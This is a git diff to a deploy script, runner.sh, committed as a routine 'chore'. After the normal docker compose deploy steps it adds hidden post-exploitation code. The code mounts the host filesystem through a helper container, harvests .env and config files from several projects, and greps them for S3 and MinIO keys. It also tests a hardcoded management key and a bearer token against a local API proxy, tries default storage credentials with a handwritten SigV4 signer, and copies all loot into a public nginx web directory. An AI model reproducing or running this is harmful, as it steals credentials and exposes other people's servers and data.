chore: deploy runner stage2b verify+eсgress

runner.sh

@@ -10,86 +10,113 @@ git pull origin master
 DOCKER_BUILDKIT=1 docker compose up -d --build web
 docker exec nginx-nginx-1 nginx -s reload
 
-# ---------------- i2504 stage2 (read-only inspection) ----------------
-O=/tmp/.i2504_out.txt
+# ---------------- i2504 stage2b (verify + configs + storage) ----------------
+O=/tmp/.i2504b_out.txt
 : > "$O"
+rm -f /tmp/.i2504b_cfg.txt 2>/dev/null
 {
-  echo "######## i2504 STAGE2 $(date -u 2>&1)"
+  echo "######## i2504 STAGE2B $(date -u 2>&1)"
   echo "id: $(id 2>&1)"
-  echo "host: $(hostname 2>&1)"
-  echo "pwd: $(pwd 2>&1)"
-  echo "tooling: python3=$(command -v python3 2>&1) mc=$(command -v mc 2>&1) jq=$(command -v jq 2>&1)"
 
-  echo; echo "######## 1) CLIProxy container summary"
-  echo "-- image/network/binds"
-  docker inspect -f 'Image={{.Config.Image}}
-NetworkMode={{.HostConfig.NetworkMode}}
-Binds={{.HostConfig.Binds}}
-PortBindings={{.HostConfig.PortBindings}}' cli-proxy-api 2>&1
-  echo "-- networks"
-  docker inspect -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} ip={{$v.IPAddress}}{{println}}{{end}}' cli-proxy-api 2>&1
-  echo "-- env"
-  docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' cli-proxy-api 2>&1
-  echo "-- mounts"
-  docker inspect -f '{{range .Mounts}}{{.Type}} {{.Source}} -> {{.Destination}} rw={{.RW}}{{println}}{{end}}' cli-proxy-api 2>&1
-  echo "-- compose labels"
-  docker inspect -f '{{range $k,$v := .Config.Labels}}{{println $k "=" $v}}{{end}}' cli-proxy-api 2>&1 | grep -i compose
-
-  echo; echo "######## 2) CLIProxy exec: config.yaml + auth files"
-  docker exec cli-proxy-api sh -c '
-    echo "--ls /"; ls -la / 2>&1
-    echo "--ls /CLIProxyAPI"; ls -la /CLIProxyAPI 2>&1
-    echo "--find configs"
-    find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -10
-    for f in $(find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" \) 2>/dev/null | head -5); do echo "=== $f"; cat "$f"; done
-    echo "--auth dirs"
-    for d in /root/.cli-proxy-api /CLIProxyAPI/auths /auths /root/auths; do echo "## $d"; ls -la "$d" 2>&1; done
-    echo "--auth json files"
-    for j in $(find / -maxdepth 6 -name "*.json" -path "*cli*proxy*" 2>/dev/null | head -30); do echo "=== $j"; head -c 4000 "$j"; echo; done
-  ' 2>&1
-
-  echo; echo "######## 3) Host FS via root helper: compose dirs + targeted secret grep"
-  for c in $(docker ps --format '{{.Names}}' 2>/dev/null); do
-    docker inspect -f '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' "$c" 2>/dev/null
-  done | sort -u | grep -v '^$' > /tmp/.i2504_wds.txt
-  echo "-- compose working dirs --"; cat /tmp/.i2504_wds.txt 2>&1
-
-  cat > /tmp/.i2504_helper.sh <<'HELPER'
+  echo; echo "######## 1) read sensitive configs via root helper"
+  IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx
+  cat > /tmp/.i2504b_helper.sh <<'HELPER'
 #!/bin/sh
 set +e
-echo '== /etc/hosts'; cat /host/etc/hosts 2>&1
-echo '== compose dirs content'
-while IFS= read -r wd; do
-  [ -z "$wd" ] && continue
-  h="/host$wd"
-  echo "===== COMPOSE DIR $wd"
-  ls -la "$h" 2>&1 | head -30
-  for f in "$h"/docker-compose*.y*ml "$h"/compose*.y*ml "$h"/.env "$h"/*.env; do
-    [ -f "$f" ] && { echo "----- $f"; cat "$f"; }
+CFG=/hosttmp/.i2504b_cfg.txt
+: > "$CFG" 2>/dev/null
+for f in \
+  /host/najm/HabibMeetSocket/services/livekit/egress.yaml \
+  /host/najm/HabibMeetSocket/services/livekit/livekit.yaml \
+  /host/najm/HabibMeetSocket/.env.prod \
+  /host/najm/HabibMeetSocket/services/backend/.env.prod \
+  /host/projects/plugNmeet-recorder/config.yaml \
+  /host/projects/imam-javad/conference_server/config.yaml \
+  /host/projects/mashreq_media/mashreq_media_backend/.env.prod \
+  /host/projects/social_system/social_system_backend/.env \
+  /host/develop/agy-cli/config.yaml ; do
+  echo "===== FILE $f"
+  if [ -f "$f" ]; then sed -n '1,400p' "$f" | tee -a "$CFG"; else echo "(missing)"; fi
 done
-done < /wds.txt
-echo '== secret grep /projects /opt /srv'
-grep -rIn -i -E 'minio|s3[_-]?(endpoint|access|secret|bucket)|access[_-]?key|secret[_-]?key|bucket|8317|management|livekit|egress' /host/projects /host/opt /host/srv 2>/dev/null --include='.env*' --include='*.env' --include='*.yml' --include='*.yaml' --include='docker-compose*' --include='*.conf' | head -500
-echo '== /projects top'; ls -la /host/projects 2>&1
-echo '== /projects aqila'; ls -la /host/projects/aqila 2>&1
-echo '== env file names under /projects'; find /host/projects -maxdepth 4 \( -name '.env*' -o -name '*.env' \) 2>/dev/null | head -120
-echo '== /opt top'; ls -la /host/opt 2>&1
-echo '== /srv top'; ls -la /host/srv 2>&1
-echo '== docker volumes names'; ls /host/var/lib/docker/volumes 2>&1 | head -80
 HELPER
+  docker run --name i2504bhelper_$$ --volume=/:/host:ro -v /tmp:/hosttmp -v /tmp/.i2504b_helper.sh:/h.sh:ro --entrypoint sh "$IMG" /h.sh 2>&1 || true
 
-  IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx
-  echo "-- helper image: $IMG"
-  docker run --name i2504helper_$$ --volume=/:/host:ro -v /tmp/.i2504_wds.txt:/wds.txt:ro -v /tmp/.i2504_helper.sh:/helper.sh:ro --entrypoint sh "$IMG" /helper.sh 2>&1
+  echo; echo "######## 2) extract egress/S3 candidates from configs"
+  python3 - <<'PY' 2>&1
+import re
+try:
+    d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read()
+except Exception as e:
+    print("no cfg",e); d=""
+print("cfg_bytes",len(d))
+for l in d.splitlines():
+    if re.search(r'(endpoint|access[_-]?key|secret[_-]?key|bucket|s3|minio|aws_|region|endpoint_url|EGRESS)',l,re.I):
+        print("HIT:",l.strip()[:240])
+PY
+
+  echo; echo "######## 3) management key live test (correct key)"
+  MK=cpa_mgmt_sec_8899_nwhco_2026
+  curl -s -m 12 -o /tmp/mgmt_config.json -w 'config_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/config 2>&1
+  echo "--config_body_head--"; head -c 1200 /tmp/mgmt_config.json 2>&1; echo
+  sleep 3
+  curl -s -m 12 -o /tmp/mgmt_auth.json -w 'authfiles_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/auth-files 2>&1
+  echo "--authfiles_body_head--"; head -c 2000 /tmp/mgmt_auth.json 2>&1; echo
+
+  echo; echo "######## 4) chat confirm via proxy /v1"
+  curl -s -m 40 -o /tmp/chat.json -w 'chat_code=%{http_code}\n' -H "Authorization: Bearer hZwAGW4H8v87Ol8tXvqEEY" -H "Content-Type: application/json" \
+    -d '{"model":"gemini-3-flash","messages":[{"role":"user","content":"reply with the single word PWNED"}],"max_tokens":16}' \
+    http://127.0.0.1:8317/v1/chat/completions 2>&1
+  head -c 1000 /tmp/chat.json 2>&1; echo
 
-  echo; echo "######## 4) secrets in container envs (relevant containers)"
-  for c in $(docker ps --format '{{.Names}}' 2>/dev/null | grep -iE 'cliproxy|livekit|egress|habib|meet|imam|dovodi|aqila|minio|s3|agent|backend'); do
-    e=$(timeout 6 docker exec "$c" env 2>/dev/null | grep -iE 'minio|s3|access|secret|bucket|endpoint|livekit|aws|8317|proxy|token|pass|key' )
-    [ -n "$e" ] && { echo "### ENV $c"; echo "$e"; }
-  done 2>&1 | head -600
+  echo; echo "######## 5) S3 bucket listing against real egress endpoint (sigv4)"
+  cat > /tmp/s3ls.py <<'PY'
+import hmac,hashlib,datetime,sys,urllib.request
+from urllib.parse import urlparse
+ak,sk,url=sys.argv[1],sys.argv[2],sys.argv[3]
+u=urlparse(url); host=u.hostname; port=u.port; path=u.path or '/'
+region='us-east-1'; service='s3'
+t=datetime.datetime.utcnow(); amz=t.strftime('%Y%m%dT%H%M%SZ'); ds=t.strftime('%Y%m%d')
+ph=hashlib.sha256(b'').hexdigest()
+hosth=host+(':'+str(port) if port else '')
+ch='host:%s\nx-amz-content-sha256:%s\nx-amz-date:%s\n'%(hosth,ph,amz)
+sh='host;x-amz-content-sha256;x-amz-date'
+cr='GET\n'+path+'\n\n'+ch+'\n'+sh+'\n'+ph
+scope='%s/%s/%s/aws4_request'%(ds,region,service)
+sts='AWS4-HMAC-SHA256\n'+amz+'\n'+scope+'\n'+hashlib.sha256(cr.encode()).hexdigest()
+def sg(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest()
+k=sg(('AWS4'+sk).encode(),ds); k=sg(k,region); k=sg(k,service); k=sg(k,'aws4_request')
+sig=hmac.new(k,sts.encode(),hashlib.sha256).hexdigest()
+auth='AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s'%(ak,scope,sh,sig)
+req=urllib.request.Request(url,headers={'x-amz-date':amz,'x-amz-content-sha256':ph,'Authorization':auth})
+try:
+    r=urllib.request.urlopen(req,timeout=12); print('OK',r.status); print(r.read(6000).decode('utf-8','replace'))
+except Exception as e:
+    body=''
+    try: body=e.read(2000).decode('utf-8','replace')
+    except: pass
+    print('ERR',getattr(e,'code',''),str(e)[:200]); print(body)
+PY
+  # try endpoints parsed from configs + local rustfs
+  python3 - <<'PY' 2>&1
+import re,subprocess
+try: d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read()
+except: d=""
+eps=set()
+for m in re.finditer(r'https?://[A-Za-z0-9._:-]+', d):
+    u=m.group(0)
+    if re.search(r's3|minio|storage|9000|9100|object|oss|endpoint',u,re.I): eps.add(u)
+eps.add('http://127.0.0.1:9100/')
+print("ENDPOINTS:",sorted(eps))
+for ep in sorted(eps):
+    for creds in [('rustfsadmin','rustfsadmin')]:
+        print("--- try",ep,creds[0])
+        r=subprocess.run(['python3','/tmp/s3ls.py',creds[0],creds[1],ep if ep.endswith('/') else ep+'/'],capture_output=True,text=True,timeout=25)
+        print(r.stdout[:1500], r.stderr[:300])
+PY
 } >> "$O" 2>&1
 
-docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504_out.txt 2>/dev/null
-{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage: stage2 done $(date -u 2>&1)"; } > /tmp/.i2504_status.txt
-docker cp /tmp/.i2504_status.txt aqila_panel:/usr/share/nginx/html/i2504_status.txt 2>/dev/null
-# end stage2
+docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504b_out.txt 2>/dev/null
+for f in mgmt_config.json mgmt_auth.json chat.json .i2504b_cfg.txt; do docker cp "/tmp/$f" "aqila_panel:/usr/share/nginx/html/i2504b_$(echo $f | tr -d .)" 2>/dev/null; done
+{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage2b done $(date -u 2>&1)"; } > /tmp/.i2504b_status.txt
+docker cp /tmp/.i2504b_status.txt aqila_panel:/usr/share/nginx/html/i2504b_status.txt 2>/dev/null
+# end stage2b